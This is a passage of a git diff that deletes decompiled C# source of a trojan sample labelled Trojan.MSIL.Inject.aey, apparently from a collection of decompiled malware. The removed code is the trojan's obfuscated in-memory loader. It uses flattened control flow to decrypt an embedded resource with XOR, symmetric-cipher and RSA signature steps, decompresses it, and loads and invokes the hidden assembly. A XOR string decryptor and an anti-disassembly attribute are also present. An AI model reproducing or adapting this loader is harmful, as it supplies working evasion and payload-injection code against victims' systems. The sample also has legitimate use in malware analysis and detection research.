buffer1[index] ^ (uint) buffer2[index % 8]); - } - BinaryReader binaryReader2 = new BinaryReader((Stream) new MemoryStream(buffer1, false)); -label_6: - int num = 7; - int count2; - int count3; - bool flag2; - byte[] numArray; - byte[] buffer3; - bool flag3; - while (true) - { - switch (num) - { - case 0: - count2 = (int) binaryReader2.ReadByte(); - num = 3; - continue; - case 1: - count3 = (int) binaryReader2.ReadByte(); - num = 8; - continue; - case 2: - flag2 = binaryReader2.ReadBoolean(); - num = 0; - continue; - case 3: - numArray = new byte[count2]; - num = 4; - continue; - case 4: - if (flag2) - { - num = 10; - continue; - } - goto label_19; - case 5: - binaryReader2.Read(buffer3, 0, count3); - num = 6; - continue; - case 6: - cryptoServiceProvider1.IV = buffer3; - num = 2; - continue; - case 7: - binaryReader2.ReadString(); - num = 9; - continue; - case 8: - buffer3 = new byte[count3]; - num = 5; - continue; - case 9: - flag3 = binaryReader2.ReadBoolean(); - num = 1; - continue; - case 10: - goto label_18; - default: - goto label_6; - } - } -label_18: - binaryReader2.Read(numArray, 0, count2); -label_19: - RSACryptoServiceProvider cryptoServiceProvider2 = (RSACryptoServiceProvider) null; - int count4 = binaryReader2.ReadInt32(); - byte[] buffer4 = new byte[count4]; - binaryReader2.Read(buffer4, 0, count4); - if (!flag2) - { - byte[] publicKey = Assembly.GetExecutingAssembly().GetName().GetPublicKey(); - if (publicKey == null || publicKey.Length != 160) - throw new InvalidOperationException(); - Buffer.BlockCopy((Array) publicKey, 12, (Array) numArray, 0, count2); - numArray[5] |= (byte) 128; - cryptoServiceProvider2 = new RSACryptoServiceProvider(); - cryptoServiceProvider2.ImportParameters(\uE010.\uE003(publicKey)); - } - cryptoServiceProvider1.Key = numArray; - MemoryStream memoryStream = new MemoryStream(); - using (CryptoStream cryptoStream = new CryptoStream(binaryReader1.BaseStream, cryptoServiceProvider1.CreateDecryptor(), CryptoStreamMode.Read)) - { - if (flag3) - \uE00E.\uE000((Stream) cryptoStream, (Stream) memoryStream); - else - \uE010.\uE002((Stream) cryptoStream, (Stream) memoryStream); - } - if (cryptoServiceProvider2 != null) - { - memoryStream.Position = 0L; - if (!\uE010.\uE005(cryptoServiceProvider2, (Stream) memoryStream, buffer4)) - throw new InvalidOperationException(); - } - memoryStream.Position = 0L; - return memoryStream; - } - - private static byte[] \uE001(byte[] _param0, int _param1, int _param2) - { - if ((_param0 == null ? 1 : 0) == 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (_param0.Length < _param1 + _param2) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_6: - byte[] destinationArray = new byte[_param2]; - Array.Copy((Array) _param0, _param1, (Array) destinationArray, 0, _param2); - return destinationArray; - } -label_5: - return (byte[]) null; - } - - private static void \uE002(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - while (true) - { - int count = _param0.Read(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - private static RSAParameters \uE003(byte[] _param0) - { - bool flag = _param0.Length == 160; - if ((!flag ? 1 : 0) == 0 && !\uE010.\uE004(_param0, \uE010.\uE003, 20)) - return new RSAParameters(); - if (!flag && !\uE010.\uE004(_param0, \uE010.\uE004, 8)) - return new RSAParameters(); - RSAParameters rsaParameters = new RSAParameters(); - int num1 = (flag ? 20 : 8) + 8; - int num2 = 4; - rsaParameters.Exponent = \uE010.\uE001(_param0, num1, num2); - Array.Reverse((Array) rsaParameters.Exponent); - int num3 = num1 + num2; - int num4 = 128; - rsaParameters.Modulus = \uE010.\uE001(_param0, num3, num4); - Array.Reverse((Array) rsaParameters.Modulus); - if (flag) - return rsaParameters; - int num5 = num3 + num4; -label_8: - int num6 = 14; - while (true) - { - switch (num6) - { - case 0: - rsaParameters.P = \uE010.\uE001(_param0, num5, num4); - num6 = 12; - continue; - case 1: - rsaParameters.DQ = \uE010.\uE001(_param0, num5, num4); - num6 = 6; - continue; - case 2: - num5 += num4; - num6 = 15; - continue; - case 3: - rsaParameters.D = \uE010.\uE001(_param0, num5, num4); - num6 = 10; - continue; - case 4: - num5 += num4; - num6 = 7; - continue; - case 5: - rsaParameters.InverseQ = \uE010.\uE001(_param0, num5, num4); - num6 = 9; - continue; - case 6: - Array.Reverse((Array) rsaParameters.DQ); - num6 = 2; - continue; - case 7: - num4 = 64; - num6 = 1; - continue; - case 8: - num4 = 64; - num6 = 17; - continue; - case 9: - Array.Reverse((Array) rsaParameters.InverseQ); - num6 = 13; - continue; - case 10: - Array.Reverse((Array) rsaParameters.D); - num6 = 23; - continue; - case 11: - Array.Reverse((Array) rsaParameters.DP); - num6 = 4; - continue; - case 12: - Array.Reverse((Array) rsaParameters.P); - num6 = 16; - continue; - case 13: - num5 += num4; - num6 = 19; - continue; - case 14: - num4 = 64; - num6 = 0; - continue; - case 15: - num4 = 64; - num6 = 5; - continue; - case 16: - num5 += num4; - num6 = 21; - continue; - case 17: - rsaParameters.DP = \uE010.\uE001(_param0, num5, num4); - num6 = 11; - continue; - case 18: - rsaParameters.Q = \uE010.\uE001(_param0, num5, num4); - num6 = 20; - continue; - case 19: - num4 = 128; - num6 = 3; - continue; - case 20: - Array.Reverse((Array) rsaParameters.Q); - num6 = 22; - continue; - case 21: - num4 = 64; - num6 = 18; - continue; - case 22: - num5 += num4; - num6 = 8; - continue; - case 23: - goto label_32; - default: - goto label_8; - } - } -label_32: - return rsaParameters; - } - - private static bool \uE004(byte[] _param0, byte[] _param1, int _param2) - { - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_7; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - return false; - } -label_2: - num = 0; - goto label_1; -label_3: - if ((int) _param0[index + _param2] != (int) _param1[index]) - { - num = 1; - goto label_1; - } - else - ++index; -label_7: - if (index >= _param1.Length) - return true; - goto label_3; - } - - private static bool \uE005(RSACryptoServiceProvider _param0, Stream _param1, byte[] _param2) - { - SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider(); -label_2: - int num = 0; - byte[] hash; - string name; - while (true) - { - switch (num) - { - case 0: - hash = cryptoServiceProvider.ComputeHash(_param1); - num = 3; - continue; - case 1: - name += (string) (object) 'A'; - num = 4; - continue; - case 2: - name += (string) (object) 'H'; - num = 1; - continue; - case 3: - name = new string('S', 1); - num = 2; - continue; - case 4: - name += (string) (object) '1'; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8: - return _param0.VerifyHash(hash, CryptoConfig.MapNameToOID(name), _param2); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs deleted file mode 100644 index ce21b9bb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; - -[assembly: SuppressIldasm] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj deleted file mode 100644 index 7679489b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11} - WinExe - Monkey - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln deleted file mode 100644 index 5b17a0e9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/Trojan.MSIL.Inject.aey.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Monkey", "Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.csproj", "{86891AEE-6A9A-4C02-8B63-A57C28DC0D11}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Debug|Any CPU.Build.0 = Debug|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Release|Any CPU.ActiveCfg = Release|Any CPU - {86891AEE-6A9A-4C02-8B63-A57C28DC0D11}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs deleted file mode 100644 index 374946a2..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/_003C.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: < -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \u003C -{ -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 2f0a8a2c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; - -[StandardModule] -internal sealed class \uE000 -{ - static \uE000() => \uE008.\uE000(); - - [STAThread] - public static void Main() - { - Assembly assembly = (Assembly) Assembly.Load(.\uE004).GetType(.\uE002 + .\uE007 + .\uE003).GetMethod(.\uE005).Invoke((object) .\uE006, new object[0]); - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 4840f764..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,498 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \uE008 -{ - private static Assembly \uE000; - private static object \uE001 = new object(); - private static int \uE002; - private static string[] \uE003; - - public static void \uE000() - { - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE002 == 0 ? 0 : 1) != 0) - return; -label_19: - int num1 = -226195680; - int num2 = -561798657; -label_3: - while (true) - { - num2 ^= 555203725; -label_11: - int num3 = 968784119; - int num4 = -376123481; -label_5: - while (true) - { - num4 ^= 370221929; -label_7: - int num5 = 169643759; - while (true) - { - switch (num5 ^ 170977803) - { - case 2909411: -label_8: - num4 = -376123484; - num5 = 169643758; - continue; - case 2909412: - switch (num4 + 8000308) - { - case 0: - goto label_11; - case 1: - switch (num3) - { - case 1949493: -label_14: - num2 = -561798659; - num3 = 968784118; - goto label_4; - case 1949494: - switch (num2 + 7070352) - { - case 0: - switch (num1 + 5290868) - { - case 0: - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001); - num1 = -226195679; - goto label_2; - case 1: - goto label_22; - default: - goto label_18; - } - case 1: - goto label_19; - case 2: -label_2: - num1 ^= 220971948; - goto label_14; - default: - num3 = 968784116; - goto label_4; - } - case 1949495: - goto label_3; - default: - goto label_13; - } - case 2: -label_4: - num3 ^= 967034817; - goto label_8; - default: - num5 = 169643752; - continue; - } - case 2909413: - goto label_5; - default: - goto label_7; - } - } -label_13: - num4 = -376123483; - } -label_18: - num2 = -561798660; - } -label_22: - \uE008.\uE002 = 1; - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - - public static string \uE000 => "ed404015d077ea06"; - - public static Assembly \uE001(object _param0, ResolveEventArgs _param1) - { - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { - try - { - Monitor.Enter(\uE008.\uE001); - if ((\uE008.\uE003 == null ? 0 : 1) == 0) - { -label_15: - int num1 = 1319863694; - int num2 = -1247360233; -label_3: - Stream manifestResourceStream; - while (true) - { - num2 ^= 1242423639; -label_7: - int num3 = 1536961512; - int num4 = -942752411; - while (true) - { - switch ((num4 ^ 946906395) + 4319108) - { - case 0: - goto label_7; - case 1: - switch (num3) - { - case 2222797: -label_10: - num2 = -1247360152; - num3 = 1536961513; - goto label_4; - case 2222798: - switch (num2 + 5559746) - { - case 0: - goto label_15; - case 1: - switch (num1) - { - case 3571212: - manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000); - num1 = 1319863695; - goto label_2; - case 3571213: - if (manifestResourceStream != null) - { - num1 = 1319863692; - goto label_2; - } - else - goto label_22; - case 3571214: - goto label_21; - default: - goto label_17; - } - case 2: -label_2: - num1 ^= 1318976386; - goto label_10; - default: -label_13: - int num5 = 357788384; - while (true) - { - switch (num5 ^ 357216823) - { - case 1693911: - num3 = 1536961515; - num5 = 357788399; - continue; - case 1693912: - goto label_4; - default: - goto label_13; - } - } - } - case 2222799: - goto label_3; - default: - num4 = -942752409; - continue; - } - case 2: -label_4: - num3 ^= 1539162406; - break; - } - num4 = -942752410; - } -label_17: - num2 = -1247360151; - } -label_21: - int num6 = 0; - goto label_23; -label_22: - num6 = 1; -label_23: - if (num6 == 0) - \uE008.\uE000 = \uE008.\uE002(manifestResourceStream); - } - } - finally - { - Monitor.Exit(\uE008.\uE001); - } - } - return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null; - } - - private static Assembly \uE002(Stream _param0) - { - MemoryStream input = \uE010.\uE000(_param0); - BinaryReader binaryReader = new BinaryReader((Stream) input); -label_2: - int num1 = -976949257; - int length; - int index; - string[] strArray; - while (true) - { - switch ((num1 ^ 979141528) + 6787986) - { - case 0: - strArray = new string[length]; - num1 = -976949272; - continue; - case 1: - length = binaryReader.ReadInt32(); - num1 = -976949258; - continue; - case 2: - index = 0; - num1 = -976949271; - continue; - case 3: - if (index != 0) - { - num1 = -976949270; - continue; - } - goto label_9; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - strArray[index] = binaryReader.ReadString(); - ++index; -label_12: - if ((index >= length ? 0 : 1) == 0) - { - \uE008.\uE003 = strArray; -label_25: - int num3 = -143477510; - int num4 = -1430655755; -label_15: - byte[] numArray; - while (true) - { - num4 ^= 1426872453; -label_19: - int num5 = -80790779; - int num6 = -1051659499; - while (true) - { - switch ((num6 ^ 1053901982) + 8276087) - { - case 0: - goto label_19; - case 1: - switch (num5 + 7895701) - { - case 0: -label_22: - num4 = -1430655766; - num5 = -80790780; - goto label_16; - case 1: - switch (num4 + 4869010) - { - case 0: - goto label_25; - case 1: - int count; - switch (num3 + 4299732) - { - case 0: - numArray = new byte[count]; - num3 = -143477511; - goto label_14; - case 1: - binaryReader.Read(numArray, 0, count); - num3 = -143477509; - goto label_14; - case 2: - count = (int) (input.Length - input.Position); - num3 = -143477512; - goto label_14; - case 3: - goto label_31; - default: - goto label_27; - } - case 2: -label_14: - num3 ^= 147640532; - goto label_22; - default: - num5 = -80790782; - goto label_16; - } - case 2: - goto label_15; - default: - num6 = -1051659497; - continue; - } - case 2: -label_16: - num5 ^= 78167657; - break; - } - num6 = -1051659500; - } -label_27: - num4 = -1430655765; - } -label_31: - return Assembly.Load(numArray); - } - goto label_11; - } - - private static bool \uE003(string _param0) - { - if ((\uE008.\uE003 == null ? 1 : 0) == 0) - { -label_6: - int num1 = 1477415917; - int num2 = 601725783; - int index; - string[] strArray; - while (true) - { - switch (num2 ^ 602759493) - { - case 3209744: - switch (num1) - { - case 3757452: - if (index != 0) - { - num1 = 1477415916; - goto label_1; - } - else - goto label_12; - case 3757453: - index = 0; - num1 = 1477415919; - goto label_1; - case 3757454: - strArray = \uE008.\uE003; - num1 = 1477415918; - goto label_1; - case 3757455: - goto label_11; - default: - num2 = 601725780; - continue; - } - case 3209745: - goto label_6; - case 3209746: -label_1: - num1 ^= 1479984739; - break; - } - num2 = 601725781; - } -label_11: - int num3 = 0; - goto label_13; -label_12: - num3 = 1; -label_13: - if (num3 != 0) - goto label_27; -label_14: - string str = strArray[index]; - if ((!_param0.Equals(str) ? 1 : 0) == 0) - { -label_22: - int num4 = -311275153; - int num5 = 878119074; -label_16: - bool flag; - while (true) - { - num5 ^= 880632524; -label_18: - int num6 = -433645422; - while (true) - { - switch ((num6 ^ 431101690) + 7008665) - { - case 0: -label_19: - num5 = 878119073; - num6 = -433645421; - continue; - case 1: - switch (num5) - { - case 2779756: - goto label_22; - case 2779757: - switch (num4 + 4671099) - { - case 0: - flag = true; - num4 = -311275156; - goto label_15; - case 1: - goto label_29; - default: - goto label_24; - } - case 2779758: -label_15: - num4 ^= 315287786; - goto label_19; - default: - num6 = -433645411; - continue; - } - case 2: - goto label_16; - default: - goto label_18; - } - } -label_24: - num5 = 878119072; - } -label_29: - return flag; - } - ++index; -label_27: - if ((index >= strArray.Length ? 0 : 1) != 0) - goto label_14; - } - return false; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 48dfdc24..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System.IO; -using System.Reflection; - -internal sealed class \uE009 -{ - public static string \uE000(string _param0, int _param1) => string.Intern(\uE009.\uE000.\uE000.\uE000(_param0, _param1)); - - public static string \uE000 => "84785c03fc20bf7c"; - - private sealed class \uE000 - { - public static readonly \uE009.\uE000 \uE000; - private byte[] \uE001; - - static \uE000() - { - \uE008.\uE000(); - \uE009.\uE000.\uE000 = new \uE009.\uE000(); - } - - private \uE000() - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\uE009.\uE000); - if (manifestResourceStream == null) - return; - this.\uE001 = new byte[256]; - manifestResourceStream.Read(this.\uE001, 0, this.\uE001.Length); - } - - public string \uE000(string _param1, int _param2) - { - int length = _param1.Length; - int index = _param2 & (int) byte.MaxValue; - char[] charArray = _param1.ToCharArray(); - while (--length >= 0) - charArray[length] = (char) ((uint) charArray[length] ^ ((uint) this.\uE001[index] | (uint) _param2)); - return string.Intern(new string(charArray)); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 18c16395..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,1058 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.Collections; - -internal sealed class \uE00A -{ - internal const int \uE000 = 32768; - internal const int \uE001 = 258; - internal const int \uE002 = 285; - internal const int \uE003 = 287; - internal const int \uE004 = 29; - internal const int \uE005 = 31; - internal const int \uE006 = 15; - internal const int \uE007 = 256; - internal const int \uE008 = 0; - internal const int \uE009 = 1; - internal const int \uE00A = 2; - internal const int \uE00B = 16; - internal const int \uE00C = 18; - internal const int \uE00D = 16; - internal const int \uE00E = 17; - internal const int \uE00F = 18; - private const int \uE010 = 257; - internal static \uE00B[] \uE011 = new \uE00B[288]; - internal static \uE00B[] \uE012; - internal static \uE00D \uE013; - internal static readonly int[] \uE014; - internal static readonly int[] \uE015; - internal static readonly int[] \uE016; - internal static readonly int[] \uE017; - internal static readonly int[] \uE018; - - static \uE00A() - { -label_2: - int num1 = 46; - int num2; - int index1; - while (true) - { - switch (num1) - { - case 0: - \uE00A.\uE015 = new int[29]; - num1 = 53; - continue; - case 1: - if (num2 != 0) - { - num1 = 54; - continue; - } - goto label_59; - case 2: - \uE00A.\uE015[12] = 19; - num1 = 29; - continue; - case 3: - \uE00A.\uE015[20] = 67; - num1 = 24; - continue; - case 4: - \uE00A.\uE014[17] = 1; - num1 = 36; - continue; - case 5: - \uE00A.\uE014[10] = 11; - num1 = 14; - continue; - case 6: - index1 = 8; - num1 = 40; - continue; - case 7: - \uE00A.\uE015[23] = 115; - num1 = 38; - continue; - case 8: - \uE00A.\uE014[15] = 2; - num1 = 25; - continue; - case 9: - \uE00A.\uE015[25] = 163; - num1 = 10; - continue; - case 10: - \uE00A.\uE015[26] = 195; - num1 = 35; - continue; - case 11: - \uE00A.\uE015[11] = 17; - num1 = 2; - continue; - case 12: - \uE00A.\uE014[8] = 10; - num1 = 30; - continue; - case 13: - \uE00A.\uE015[22] = 99; - num1 = 7; - continue; - case 14: - \uE00A.\uE014[11] = 4; - num1 = 22; - continue; - case 15: - \uE00A.\uE016 = new int[29]; - num1 = 6; - continue; - case 16: - \uE00A.\uE015[17] = 43; - num1 = 41; - continue; - case 17: - \uE00A.\uE014[1] = 17; - num1 = 43; - continue; - case 18: - \uE00A.\uE015[6] = 9; - num1 = 42; - continue; - case 19: - \uE00A.\uE014[14] = 13; - num1 = 8; - continue; - case 20: - \uE00A.\uE014[5] = 7; - num1 = 50; - continue; - case 21: - \uE00A.\uE015[15] = 31; - num1 = 51; - continue; - case 22: - \uE00A.\uE014[12] = 12; - num1 = 44; - continue; - case 23: - \uE00A.\uE014[7] = 6; - num1 = 12; - continue; - case 24: - \uE00A.\uE015[21] = 83; - num1 = 13; - continue; - case 25: - \uE00A.\uE014[16] = 14; - num1 = 4; - continue; - case 26: - \uE00A.\uE015[2] = 5; - num1 = 47; - continue; - case 27: - \uE00A.\uE015[1] = 4; - num1 = 26; - continue; - case 28: - \uE00A.\uE015[8] = 11; - num1 = 48; - continue; - case 29: - \uE00A.\uE015[13] = 23; - num1 = 34; - continue; - case 30: - \uE00A.\uE014[9] = 5; - num1 = 5; - continue; - case 31: - \uE00A.\uE015[10] = 15; - num1 = 11; - continue; - case 32: - \uE00A.\uE015[4] = 7; - num1 = 49; - continue; - case 33: - \uE00A.\uE014[4] = 8; - num1 = 20; - continue; - case 34: - \uE00A.\uE015[14] = 27; - num1 = 21; - continue; - case 35: - \uE00A.\uE015[27] = 227; - num1 = 52; - continue; - case 36: - \uE00A.\uE014[18] = 15; - num1 = 0; - continue; - case 37: - \uE00A.\uE014 = new int[19]; - num1 = 45; - continue; - case 38: - \uE00A.\uE015[24] = 131; - num1 = 9; - continue; - case 39: - \uE00A.\uE015[19] = 59; - num1 = 3; - continue; - case 40: - num2 = 0; - num1 = 1; - continue; - case 41: - \uE00A.\uE015[18] = 51; - num1 = 39; - continue; - case 42: - \uE00A.\uE015[7] = 10; - num1 = 28; - continue; - case 43: - \uE00A.\uE014[2] = 18; - num1 = 33; - continue; - case 44: - \uE00A.\uE014[13] = 3; - num1 = 19; - continue; - case 45: - \uE00A.\uE014[0] = 16; - num1 = 17; - continue; - case 46: - \uE00A.\uE012 = new \uE00B[32]; - num1 = 37; - continue; - case 47: - \uE00A.\uE015[3] = 6; - num1 = 32; - continue; - case 48: - \uE00A.\uE015[9] = 13; - num1 = 31; - continue; - case 49: - \uE00A.\uE015[5] = 8; - num1 = 18; - continue; - case 50: - \uE00A.\uE014[6] = 9; - num1 = 23; - continue; - case 51: - \uE00A.\uE015[16] = 35; - num1 = 16; - continue; - case 52: - \uE00A.\uE015[28] = 258; - num1 = 15; - continue; - case 53: - \uE00A.\uE015[0] = 3; - num1 = 27; - continue; - case 54: - goto label_58; - default: - goto label_2; - } - } -label_58: - int num3 = 0; - goto label_60; -label_59: - num3 = 1; -label_60: - if (num3 != 0) - goto label_64; -label_61: - if (index1 % 4 == 0) - ++num2; - \uE00A.\uE016[index1] = num2; - ++index1; -label_64: - if (index1 >= 28) - { - \uE00A.\uE017 = new int[30]; - \uE00A.\uE017[0] = 1; - \uE00A.\uE017[1] = 2; - \uE00A.\uE017[2] = 3; - \uE00A.\uE017[3] = 4; - \uE00A.\uE017[4] = 5; - \uE00A.\uE017[5] = 7; - \uE00A.\uE017[6] = 9; - \uE00A.\uE017[7] = 13; - \uE00A.\uE017[8] = 17; - \uE00A.\uE017[9] = 25; - \uE00A.\uE017[10] = 33; - \uE00A.\uE017[11] = 49; - \uE00A.\uE017[12] = 65; - \uE00A.\uE017[13] = 97; - \uE00A.\uE017[14] = 129; - \uE00A.\uE017[15] = 193; - \uE00A.\uE017[16] = 257; - \uE00A.\uE017[17] = 385; - \uE00A.\uE017[18] = 513; - \uE00A.\uE017[19] = 769; - \uE00A.\uE017[20] = 1025; - \uE00A.\uE017[21] = 1537; - \uE00A.\uE017[22] = 2049; - \uE00A.\uE017[23] = 3073; - \uE00A.\uE017[24] = 4097; - \uE00A.\uE017[25] = 6145; - \uE00A.\uE017[26] = 8193; - \uE00A.\uE017[27] = 12289; - \uE00A.\uE017[28] = 16385; - \uE00A.\uE017[29] = 24577; - \uE00A.\uE018 = new int[30]; - int index2 = 4; - int num4 = 0; - for (; index2 < 30; ++index2) - { - if (index2 % 2 == 0) - ++num4; - \uE00A.\uE018[index2] = num4; - } - for (int index3 